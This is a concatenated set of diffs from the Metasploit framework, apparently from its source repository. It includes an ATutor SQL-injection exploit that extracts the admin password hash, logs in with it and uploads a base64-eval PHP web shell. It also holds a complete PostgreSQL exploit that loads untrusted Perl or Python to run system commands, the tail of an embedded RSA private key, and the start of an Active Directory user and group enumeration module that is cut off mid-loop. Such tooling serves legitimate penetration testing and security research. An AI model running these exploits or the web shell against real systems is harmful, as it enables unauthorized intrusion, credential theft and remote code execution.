AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y
|
||||
iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs
|
||||
Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj
|
||||
QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz
|
||||
ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG
|
||||
XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk
|
||||
86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y
|
||||
x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg==
|
||||
-----END RSA PRIVATE KEY-----
|
||||
EOF
|
||||
end
|
||||
|
||||
end
|
|
@ -16,11 +16,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Name' => 'ATutor 2.2.1 SQL Injection / Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a SQL Injection vulnerability and an authentication weakness
|
||||
vulnerability in ATutor. This essentially means an attacker can bypass authenication
|
||||
and reach the administrators interface where they can upload malcious code.
|
||||
|
||||
You are required to login to the target to reach the SQL Injection, however this
|
||||
can be done as a student account and remote registration is enabled by default.
|
||||
vulnerability in ATutor. This essentially means an attacker can bypass authentication
|
||||
and reach the administrator's interface where they can upload malicious code.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
|
@ -30,7 +27,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2016-2555' ],
|
||||
[ 'URL', 'http://www.atutor.ca/' ] # Official Website
|
||||
[ 'URL', 'http://www.atutor.ca/' ], # Official Website
|
||||
[ 'URL', 'http://sourceincite.com/research/src-2016-08/' ] # Advisory
|
||||
],
|
||||
'Privileged' => false,
|
||||
'Payload' =>
|
||||
|
@ -45,9 +43,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/']),
|
||||
OptString.new('USERNAME', [true, 'The username to authenticate as']),
|
||||
OptString.new('PASSWORD', [true, 'The password to authenticate with'])
|
||||
OptString.new('TARGETURI', [true, 'The path of Atutor', '/ATutor/'])
|
||||
],self.class)
|
||||
end
|
||||
|
||||
|
@ -65,14 +61,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
def check
|
||||
# the only way to test if the target is vuln
|
||||
begin
|
||||
test_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
rescue Msf::Exploit::Failed => e
|
||||
vprint_error(e.message)
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if test_injection(test_cookie)
|
||||
if test_injection
|
||||
return Exploit::CheckCode::Vulnerable
|
||||
else
|
||||
return Exploit::CheckCode::Safe
|
||||
|
@ -86,8 +75,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@plugin_name = Rex::Text.rand_text_alpha_lower(3)
|
||||
|
||||
path = "#{@plugin_name}/#{@payload_name}.php"
|
||||
register_file_for_cleanup("#{@payload_name}.php", "../../content/module/#{path}")
|
||||
|
||||
# this content path is where the ATutor authors recommended installing it
|
||||
register_file_for_cleanup("#{@payload_name}.php", "/var/content/module/#{path}")
|
||||
zip_file.add_file(path, "<?php eval(base64_decode($_SERVER['HTTP_#{@header}'])); ?>")
|
||||
zip_file.pack
|
||||
end
|
||||
|
@ -97,7 +86,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", @plugin_name, "#{@payload_name}.php"),
|
||||
'raw_headers' => "#{@header}: #{Rex::Text.encode_base64(payload.encoded)}\r\n"
|
||||
})
|
||||
}, 0.1)
|
||||
end
|
||||
|
||||
def upload_shell(cookie)
|
||||
|
@ -110,125 +99,76 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
'cookie' => cookie
|
||||
})
|
||||
|
||||
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_1.php?mod=#{@plugin_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla',
|
||||
'cookie' => cookie
|
||||
})
|
||||
if res && res.code == 302 && res.redirection.to_s.include?("module_install_step_2.php?mod=#{@plugin_name}")
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_core", "modules", "module_install_step_2.php?mod=#{@plugin_name}"),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla',
|
||||
'cookie' => cookie
|
||||
})
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
# auth failed if we land here, bail
|
||||
# unknown failure...
|
||||
fail_with(Failure::Unknown, "Unable to upload php code")
|
||||
return false
|
||||
end
|
||||
|
||||
def get_hashed_password(token, password, bypass)
|
||||
if bypass
|
||||
return Rex::Text.sha1(password + token)
|
||||
else
|
||||
return Rex::Text.sha1(Rex::Text.sha1(password) + token)
|
||||
end
|
||||
end
|
||||
|
||||
def login(username, password, bypass)
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'agent' => 'Mozilla',
|
||||
})
|
||||
|
||||
token = $1 if res.body =~ /\) \+ \"(.*)\"\);/
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /; ATutorID=(.*); ATutorID=/
|
||||
if bypass
|
||||
password = get_hashed_password(token, password, true)
|
||||
else
|
||||
password = get_hashed_password(token, password, false)
|
||||
end
|
||||
|
||||
def login(username, hash)
|
||||
password = Rex::Text.sha1(hash)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "login.php"),
|
||||
'vars_post' => {
|
||||
'form_password_hidden' => password,
|
||||
'form_login' => username,
|
||||
'submit' => 'Login'
|
||||
'submit' => 'Login',
|
||||
'token' => ''
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$2};" if res.get_cookies =~ /(.*); ATutorID=(.*);/
|
||||
|
||||
# this is what happens when no state is maintained by the http client
|
||||
if res && res.code == 302
|
||||
if res.redirection.to_s.include?('bounce.php?course=0')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('users/index.php')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(target_uri.path, res.redirection),
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
cookie = "ATutorID=#{$1};" if res.get_cookies =~ /ATutorID=(.*);/
|
||||
return cookie
|
||||
end
|
||||
else res.redirection.to_s.include?('admin/index.php')
|
||||
# if we made it here, we are admin
|
||||
return cookie
|
||||
end
|
||||
# poor developer practices
|
||||
cookie = "ATutorID=#{$4};" if res.get_cookies =~ /ATutorID=(.*); ATutorID=(.*); ATutorID=(.*); ATutorID=(.*);/
|
||||
if res && res.code == 302 && res.redirection.to_s.include?('admin/index.php')
|
||||
# if we made it here, we are admin
|
||||
report_cred(user: username, password: hash)
|
||||
return cookie
|
||||
end
|
||||
|
||||
# auth failed if we land here, bail
|
||||
fail_with(Failure::NoAccess, "Authentication failed with username #{username}")
|
||||
return nil
|
||||
end
|
||||
|
||||
def perform_request(sqli, cookie)
|
||||
def perform_request(sqli)
|
||||
# the search requires a minimum of 3 chars
|
||||
sqli = "#{Rex::Text.rand_text_alpha(3)}'/**/or/**/#{sqli}/**/or/**/1='"
|
||||
rand_key = Rex::Text.rand_text_alpha(1)
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "connections.php"),
|
||||
'uri' => normalize_uri(target_uri.path, "mods", "_standard", "social", "index_public.php"),
|
||||
'vars_post' => {
|
||||
"search_friends_#{rand_key}" => sqli,
|
||||
'rand_key' => rand_key,
|
||||
'search' => 'Search People'
|
||||
'search' => 'Search'
|
||||
},
|
||||
'cookie' => cookie,
|
||||
'agent' => 'Mozilla'
|
||||
})
|
||||
return res.body
|
||||
end
|
||||
|
||||
def dump_the_hash(cookie)
|
||||
def dump_the_hash
|
||||
extracted_hash = ""
|
||||
sqli = "(select/**/length(concat(login,0x3a,password))/**/from/**/AT_admins/**/limit/**/0,1)"
|
||||
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli, cookie).to_i
|
||||
login_and_hash_length = generate_sql_and_test(do_true=false, do_test=false, sql=sqli).to_i
|
||||
for i in 1..login_and_hash_length
|
||||
sqli = "ascii(substring((select/**/concat(login,0x3a,password)/**/from/**/AT_admins/**/limit/**/0,1),#{i},1))"
|
||||
asciival = generate_sql_and_test(false, false, sqli, cookie)
|
||||
asciival = generate_sql_and_test(false, false, sqli)
|
||||
if asciival >= 0
|
||||
extracted_hash << asciival.chr
|
||||
end
|
||||
|
@ -236,13 +176,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return extracted_hash.split(":")
|
||||
end
|
||||
|
||||
def get_ascii_value(sql, cookie)
|
||||
# greetz to rsauron & the darkc0de crew!
|
||||
def get_ascii_value(sql)
|
||||
lower = 0
|
||||
upper = 126
|
||||
while lower < upper
|
||||
mid = (lower + upper) / 2
|
||||
sqli = "#{sql}>#{mid}"
|
||||
result = perform_request(sqli, cookie)
|
||||
result = perform_request(sqli)
|
||||
if result =~ /There are \d+ entries\./
|
||||
lower = mid + 1
|
||||
else
|
||||
|
@ -253,7 +194,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
value = lower
|
||||
else
|
||||
sqli = "#{sql}=#{lower}"
|
||||
result = perform_request(sqli, cookie)
|
||||
result = perform_request(sqli)
|
||||
if result =~ /There are \d+ entries\./
|
||||
value = lower
|
||||
end
|
||||
|
@ -261,27 +202,27 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
return value
|
||||
end
|
||||
|
||||
def generate_sql_and_test(do_true=false, do_test=false, sql=nil, cookie)
|
||||
def generate_sql_and_test(do_true=false, do_test=false, sql=nil)
|
||||
if do_test
|
||||
if do_true
|
||||
result = perform_request("1=1", cookie)
|
||||
result = perform_request("1=1")
|
||||
if result =~ /There are \d+ entries\./
|
||||
return true
|
||||
end
|
||||
else not do_true
|
||||
result = perform_request("1=2", cookie)
|
||||
result = perform_request("1=2")
|
||||
if not result =~ /There are \d+ entries\./
|
||||
return true
|
||||
end
|
||||
end
|
||||
elsif not do_test and sql
|
||||
return get_ascii_value(sql, cookie)
|
||||
return get_ascii_value(sql)
|
||||
end
|
||||
end
|
||||
|
||||
def test_injection(cookie)
|
||||
if generate_sql_and_test(do_true=true, do_test=true, sql=nil, cookie)
|
||||
if generate_sql_and_test(do_true=false, do_test=true, sql=nil, cookie)
|
||||
def test_injection
|
||||
if generate_sql_and_test(do_true=true, do_test=true, sql=nil)
|
||||
if generate_sql_and_test(do_true=false, do_test=true, sql=nil)
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
@ -303,6 +244,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
private_data: opts[:password],
|
||||
origin_type: :service,
|
||||
private_type: :password,
|
||||
private_type: :nonreplayable_hash,
|
||||
jtr_format: 'sha512',
|
||||
username: opts[:user]
|
||||
}.merge(service_data)
|
||||
|
||||
|
@ -316,24 +259,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
student_cookie = login(datastore['USERNAME'], datastore['PASSWORD'], false)
|
||||
print_status("Logged in as #{datastore['USERNAME']}, sending a few test injections...")
|
||||
report_cred(user: datastore['USERNAME'], password: datastore['PASSWORD'])
|
||||
|
||||
print_status("Dumping username and password hash...")
|
||||
# we got admin hash now
|
||||
credz = dump_the_hash(student_cookie)
|
||||
print_good("Got the #{credz[0]} hash: #{credz[1]} !")
|
||||
print_status("Dumping the username and password hash...")
|
||||
credz = dump_the_hash
|
||||
if credz
|
||||
admin_cookie = login(credz[0], credz[1], true)
|
||||
print_status("Logged in as #{credz[0]}, uploading shell...")
|
||||
# install a plugin
|
||||
print_good("Got the #{credz[0]}'s hash: #{credz[1]} !")
|
||||
admin_cookie = login(credz[0], credz[1])
|
||||
if upload_shell(admin_cookie)
|
||||
print_good("Shell upload successful!")
|
||||
# boom
|
||||
exec_code
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -0,0 +1,208 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/exploit/postgres'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = GoodRanking
|
||||
|
||||
include Msf::Exploit::Remote::Postgres
|
||||
include Msf::Exploit::Remote::Tcp
|
||||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'PostgreSQL CREATE LANGUAGE Execution',
|
||||
'Description' => %q(
|
||||
Some installations of Postgres 8 and 9 are configured to allow loading external scripting languages.
|
||||
Most commonly this is Perl and Python. When enabled, command execution is possible on the host.
|
||||
To execute system commands, loading the "untrusted" version of the language is necessary.
|
||||
This requires a superuser. This is usually postgres. The execution should be platform-agnostic,
|
||||
and has been tested on OS X, Windows, and Linux.
|
||||
|
||||
This module attempts to load Perl or Python to execute system commands. As this dynamically loads
|
||||
a scripting language to execute commands, it is not necessary to drop a file on the filesystem.
|
||||
|
||||
Only Postgres 8 and up are supported.
|
||||
),
|
||||
'Author' => [
|
||||
'Micheal Cottingham', # author of this module
|
||||
'midnitesnake', # the postgres_payload module that this is based on,
|
||||
'Nixawk' # Improves the module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' => [
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/sql-createlanguage.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plperl.html'],
|
||||
['URL', 'http://www.postgresql.org/docs/current/static/plpython.html']
|
||||
],
|
||||
'Platform' => %w(linux unix win osx),
|
||||
'Payload' => {
|
||||
'PayloadType' => %w(cmd)
|
||||
},
|
||||
'Arch' => [ARCH_CMD],
|
||||
'Targets' => [
|
||||
['Automatic', {}]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 1 2016'))
|
||||
|
||||
deregister_options('SQL', 'RETURN_ROWSET', 'VERBOSE')
|
||||
end
|
||||
|
||||
def postgres_major_version(version)
|
||||
version_match = version.match(/(?<software>\w{10})\s(?<major_version>\d{1,2})\.(?<minor_version>\d{1,2})\.(?<revision>\d{1,2})/)
|
||||
version_match['major_version']
|
||||
end
|
||||
|
||||
def check
|
||||
if vuln_version?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def vuln_version?
|
||||
version = postgres_fingerprint
|
||||
if version[:auth]
|
||||
major_version = postgres_major_version(version[:auth])
|
||||
return true if major_version && major_version.to_i >= 8
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def login_success?
|
||||
status = do_login(username, password, database)
|
||||
case status
|
||||
when :noauth
|
||||
print_error "#{peer} - Authentication failed"
|
||||
return false
|
||||
when :noconn
|
||||
print_error "#{peer} - Connection failed"
|
||||
return false
|
||||
else
|
||||
print_status "#{peer} - #{status}"
|
||||
return true
|
||||
end
|
||||
end
|
||||
|
||||
def load_extension?(language)
|
||||
case load_procedural_language(language, 'LANGUAGE')
|
||||
when :exists
|
||||
print_good "#{peer} - #{language} is already loaded, continuing"
|
||||
return true
|
||||
when :loaded
|
||||
print_good "#{peer} - #{language} was successfully loaded, continuing"
|
||||
return true
|
||||
when :not_exists
|
||||
print_status "#{peer} - #{language} could not be loaded"
|
||||
return false
|
||||
else
|
||||
print_error "#{peer} - error occurred loading #{language}"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def exec_function?(func_name)
|
||||
query = "SELECT exec_#{func_name}('#{payload.encoded.gsub("'", "''")}')"
|
||||
select_query = postgres_query(query)
|
||||
|
||||
case select_query.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} - Exploit failed"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Exploit successful"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def create_function?(language, func_name)
|
||||
load_func = ''
|
||||
|
||||
case language
|
||||
when 'perl'
|
||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(text) RETURNS void as $$"
|
||||
query << "`$_[0]`;"
|
||||
query << "$$ LANGUAGE pl#{language}u"
|
||||
load_func = postgres_query(query)
|
||||
when /^python(?:2|3)?/i
|
||||
query = "CREATE OR REPLACE FUNCTION exec_#{func_name}(c text) RETURNS void as $$\r"
|
||||
query << "import subprocess, shlex\rsubprocess.check_output(shlex.split(c))\r"
|
||||
query << "$$ LANGUAGE pl#{language}u"
|
||||
load_func = postgres_query(query)
|
||||
end
|
||||
|
||||
case load_func.keys[0]
|
||||
when :conn_error
|
||||
print_error "#{peer} - Connection error"
|
||||
return false
|
||||
when :sql_error
|
||||
print_error "#{peer} Exploit failed"
|
||||
return false
|
||||
when :complete
|
||||
print_good "#{peer} - Loaded UDF (exec_#{func_name})"
|
||||
return true
|
||||
else
|
||||
print_error "#{peer} - Unknown"
|
||||
return false
|
||||
end
|
||||
end
|
||||
|
||||
def load_procedural_language(language, extension)
|
||||
query = "CREATE #{extension} pl#{language}u"
|
||||
load_language = postgres_query(query)
|
||||
return :loaded unless load_language.keys[0] == :sql_error
|
||||
|
||||
match_exists = load_language[:sql_error].match(/(?:(extension|language) "pl#{language}u" already exists)/m)
|
||||
return :exists if match_exists
|
||||
|
||||
match_error = load_language[:sql_error].match(/(?:could not (?:open extension control|access) file|unsupported language)/m)
|
||||
return :not_exists if match_error
|
||||
end
|
||||
|
||||
def do_login(user, pass, database)
|
||||
begin
|
||||
password = pass || postgres_password
|
||||
result = postgres_fingerprint(
|
||||
db: database,
|
||||
username: user,
|
||||
password: password
|
||||
)
|
||||
|
||||
return result[:auth] if result[:auth]
|
||||
print_status "#{peer} - Login failed"
|
||||
return :noauth
|
||||
|
||||
rescue Rex::ConnectionError
|
||||
return :noconn
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
return unless vuln_version?
|
||||
return unless login_success?
|
||||
|
||||
languages = %w(perl python python2 python3)
|
||||
languages.each do |language|
|
||||
next unless load_extension?(language)
|
||||
func_name = Rex::Text.rand_text_alpha(10)
|
||||
next unless create_function?(language, func_name)
|
||||
if exec_function?(func_name)
|
||||
print_warning "Please clear extension [#{language}]: function [#{func_name}] manually"
|
||||
break
|
||||
end
|
||||
end
|
||||
postgres_logout if @postgres_conn
|
||||
end
|
||||
end
|
|
@ -53,7 +53,7 @@ class MetasploitModule < Msf::Nop
|
|||
0xe1a0b00b
|
||||
]
|
||||
|
||||
if( random and random.match(/^(t|y|1)/i) )
|
||||
if random
|
||||
return ([nops[rand(nops.length)]].pack("V*") * (length/4))
|
||||
end
|
||||
|
||||
|
|
|
@ -106,7 +106,7 @@ SINGLE_BYTE_SLED =
|
|||
|
||||
# Did someone specify random NOPs in the environment?
|
||||
if (!random and datastore['RandomNops'])
|
||||
random = (datastore['RandomNops'].match(/true|1|y/i) != nil)
|
||||
random = datastore['RandomNops']
|
||||
end
|
||||
|
||||
# Generate the whole sled...
|
||||
|
|
|
@ -0,0 +1,561 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'rex'
|
||||
require 'msf/core'
|
||||
require 'sqlite3'
|
||||
|
||||
class MetasploitModule < Msf::Post
|
||||
include Msf::Post::Windows::LDAP
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'AD Computer, Group and Recursive User Membership to Local SQLite DB',
|
||||
'Description' => %{
|
||||
This module will gather a list of AD groups, identify the users (taking into account recursion)
|
||||
and write this to a SQLite database for offline analysis and query using normal SQL syntax.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [
|
||||
'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'
|
||||
],
|
||||
'Platform' => [ 'win' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('GROUP_FILTER', [false, 'Additional LDAP filters to use when searching for initial groups', '']),
|
||||
OptBool.new('SHOW_USERGROUPS', [true, 'Show the user/group membership in a greppable form to the console.', false]),
|
||||
OptBool.new('SHOW_COMPUTERS', [true, 'Show basic computer information in a greppable form to the console.', false]),
|
||||
OptInt.new('THREADS', [true, 'Number of threads to spawn to gather membership of each group.', 20])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
# Entry point
|
||||
def run
|
||||
max_search = datastore['MAX_SEARCH']
|
||||
|
||||
db, dbfile = create_sqlite_db
|
||||
print_status "Database created: #{dbfile}"
|
||||
|
||||
# Download the list of groups from Active Directory
|
||||
vprint_status "Retrieving AD Groups"
|
||||
begin
|
||||
group_fields = ['distinguishedName', 'objectSid', 'samAccountType', 'sAMAccountName', 'whenChanged', 'whenCreated', 'description', 'groupType', 'adminCount', 'comment', 'managedBy', 'cn']
|
||||
if datastore['GROUP_FILTER'].nil? || datastore['GROUP_FILTER'].empty?
|
||||
group_query = "(objectClass=group)"
|
||||
else
|
||||
group_query = "(&(objectClass=group)(#{datastore['GROUP_FILTER']}))"
|
||||
end
|
||||
groups = query(group_query, max_search, group_fields)
|
||||
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
|
||||
print_error("Error(Group): #{e.message}")
|
||||
return
|
||||
end
|
||||
|
||||
# If no groups were downloaded, there's no point carrying on
|
||||
if groups.nil? || groups[:results].empty?
|
||||
print_error('No AD groups were discovered')
|
||||
return
|
||||
end
|
||||
|
||||
# Go through each of the groups and identify the individual users in each group
|
||||
vprint_status "Groups retrieval completed: #{groups[:results].size} group(s)"
|
||||
vprint_status "Retrieving AD Group Membership"
|
||||
users_fields = ['distinguishedName', 'objectSid', 'sAMAccountType', 'sAMAccountName', 'displayName', 'description', 'logonCount', 'userAccountControl', 'userPrincipalName', 'whenChanged', 'whenCreated', 'primaryGroupID', 'badPwdCount', 'comment', 'title', 'cn', 'adminCount', 'manager']
|
||||
|
||||
remaining_groups = groups[:results]
|
||||
|
||||
# If the number of threads exceeds the number of groups, reduce them down to the correct number
|
||||
threadcount = remaining_groups.count < datastore['THREADS'] ? remaining_groups.count : datastore['THREADS']
|
||||
|
||||
# Loop through each of the groups, creating threads where necessary
|
||||
while !remaining_groups.nil? && !remaining_groups.empty?
|
||||
group_gather = []
|
||||
1.upto(threadcount) do
|
||||
group_gather << framework.threads.spawn("Module(#{refname})", false, remaining_groups.shift) do |individual_group|
|
||||
begin
|
||||
|
||||
next if !individual_group || individual_group.empty? || individual_group.nil?
|
||||
|
||||
# Get the Group RID
|
||||
group_rid = get_rid(individual_group[1][:value]).to_i
|
||||
|
||||
# Perform the ADSI query to retrieve the effective users in each group (recursion)
|
||||
vprint_status "Retrieving members of #{individual_group[3][:value]}"
|
||||
users_filter = "(&(objectCategory=person)(objectClass=user)(|(memberOf:1.2.840.113556.1.4.1941:=#{individual_group[0][:value]})(primaryGroupID=#{group_rid})))"
|
||||
users_in_group = query(users_filter, max_search, users_fields)
|
||||
|
||||
grouptype_int = individual_group[7][:value].to_i # Set this here because it is used a lot below
|
||||
sat_int = individual_group[2][:value].to_i
|
||||
|
||||
# Add the group to the database
|
||||
# groupType parameter interpretation: https://msdn.microsoft.com/en-us/library/windows/desktop/ms675935(v=vs.85).aspx
|
||||
# Note that the conversions to UTF-8 are necessary because of the way SQLite detects column type affinity
|
||||
# Turns out that the 'fix' is documented in https://github.com/rails/rails/issues/1965
|
||||
sql_param_group = { g_rid: group_rid,
|
||||
g_distinguishedName: individual_group[0][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_sAMAccountType: sat_int,
|
||||
g_sAMAccountName: individual_group[3][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_whenChanged: individual_group[4][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_whenCreated: individual_group[5][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_description: individual_group[6][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_groupType: grouptype_int,
|
||||
g_adminCount: individual_group[8][:value].to_i,
|
||||
g_comment: individual_group[9][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_managedBy: individual_group[10][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
g_cn: individual_group[11][:value].encode('UTF-16be', invalid: :replace, undef: :replace, replace: '?').encode('UTF-8', invalid: :replace, undef: :replace, replace: '?'),
|
||||
# Specifies a group that is created by the system.
|
||||
g_GT_GROUP_CREATED_BY_SYSTEM: (grouptype_int & 0x00000001).zero? ? 0 : 1,
|
||||
# Specifies a group with global scope.
|
||||
g_GT_GROUP_SCOPE_GLOBAL: (grouptype_int & 0x00000002).zero? ? 0 : 1,
|
||||
# Specifies a group with local scope.
|
||||
g_GT_GROUP_SCOPE_LOCAL: (grouptype_int & 0x00000004).zero? ? 0 : 1,
|
||||
# Specifies a group with universal scope.
|
||||
g_GT_GROUP_SCOPE_UNIVERSAL: (grouptype_int & 0x00000008).zero? ? 0 : 1,
|
||||
# Specifies an APP_BASIC group for Windows Server Authorization Manager.
|
||||
g_GT_GROUP_SAM_APP_BASIC: (grouptype_int & 0x00000010).zero? ? 0 : 1,
|
||||
# Specifies an APP_QUERY group for Windows Server Authorization Manager.
|
||||
g_GT_GROUP_SAM_APP_QUERY: (grouptype_int & 0x00000020).zero? ? 0 : 1,
|
||||
# Specifies a security group. If this flag is not set, then the group is a distribution group.
|
||||
g_GT_GROUP_SECURITY: (grouptype_int & 0x80000000).zero? ? 0 : 1,
|
||||
# The inverse of the flag above. Technically GT_GROUP_SECURITY=0 makes it a distribution
|
||||
# group so this is arguably redundant, but I have included it for ease. It makes a lot more sense
|
||||
# to set DISTRIBUTION=1 in a query when your mind is on other things to remember that
|
||||
# DISTRIBUTION is in fact the inverse of SECURITY...:)
|
||||
g_GT_GROUP_DISTRIBUTION: (grouptype_int & 0x80000000).zero? ? 1 : 0,
|
||||
# Now add sAMAccountType constants
|
||||
g_SAM_DOMAIN_OBJECT: (sat_int == 0) ? 1 : 0,
|
||||
g_SAM_GROUP_OBJECT: (sat_int == 0x10000000) ? 1 : 0,
|
||||
g_SAM_NON_SECURITY_GROUP_OBJECT: (sat_int == 0x10000001) ? 1 : 0,
|
||||
g_SAM_ALIAS_OBJECT: (sat_int == 0x20000000) ? 1 : 0,
|
||||
g_SAM_NON_SECURITY_ALIAS_OBJECT: (sat_int == 0x20000001) ? 1 : 0,
|
||||
g_SAM_NORMAL_USER_ACCOUNT: (sat_int == 0x30000000) ? 1 : 0,
|
||||
g_SAM_MACHINE_ACCOUNT: (sat_int == 0x30000001) ? 1 : 0,
|
||||
g_SAM_TRUST_ACCOUNT: (sat_int == 0x30000002) ? 1 : 0,
|
||||
g_SAM_APP_BASIC_GROUP: (sat_int == 0x40000000) ? 1 : 0,
|
||||
g_SAM_APP_QUERY_GROUP: (sat_int == 0x40000001) ? 1 : 0,
|
||||
g_SAM_ACCOUNT_TYPE_MAX: (sat_int == 0x7fffffff) ? 1 : 0
|
||||
}
|
||||
run_sqlite_query(db, 'ad_groups', sql_param_group)
|
||||
|
||||
# Go through each group user
|
||||
next if users_in_group[:results].empty?
|
||||
users_in_group[:results].each do |group_user|
|
||||
user_rid = get_rid(group_user[1][:value]).to_i
|
||||
